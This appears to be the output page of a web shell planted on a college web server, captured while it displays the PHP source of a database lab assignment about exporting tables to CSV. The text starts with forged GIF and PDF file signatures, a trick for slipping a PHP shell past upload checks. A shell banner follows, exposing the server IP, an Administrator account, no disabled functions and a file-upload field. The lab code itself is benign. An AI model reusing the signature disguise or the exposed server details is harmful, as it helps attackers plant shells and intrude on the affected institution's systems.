GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1600/Labs/_Archive/Lab04/ |
Upload File : |
<? // JimMartinson/CST1600/Labs/Lab01/index.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $evaluationNumber = 4; $evaluationType = "Lab"; $evaluationTitle = "Data Export"; if ( !isset($assignmentSuffix) ) $assignmentSuffix = ''; $evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix; $title = $evaluationType." ".$evaluationNumber.' - '.$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; include('common/pageHeader.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = username($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); include('common/sectionHeader.phpinc'); include('Gradebook/EvaluationSubmission_BEGIN.phpinc'); ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> The purpose of this lab is to demonstrate your ability to export data to a csv file. <br><b>Note: Use the data set you obtained in <a href="../Lab01">Lab 1 </a> for this lab.</b> <br><?=$gradeNote?> <ol> <li> Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li> Write a query to export your table data to csv files. The output file names should be the table name with a .csv extension. Fields should be enclosed and escaped by a double quote (") and lines termivated by a newline (\n). </li> <li> Execute the query to export the data. </li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li> <li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? include('Gradebook/EvaluationSubmission_END.phpinc'); $deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; } #include('../../CST1600GradingCriteria.phpinc'); #include('../../Notes/notes.phpinc'); include('common/sectionFooter.phpinc'); include('../../ReferencesResources.phpinc'); include('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>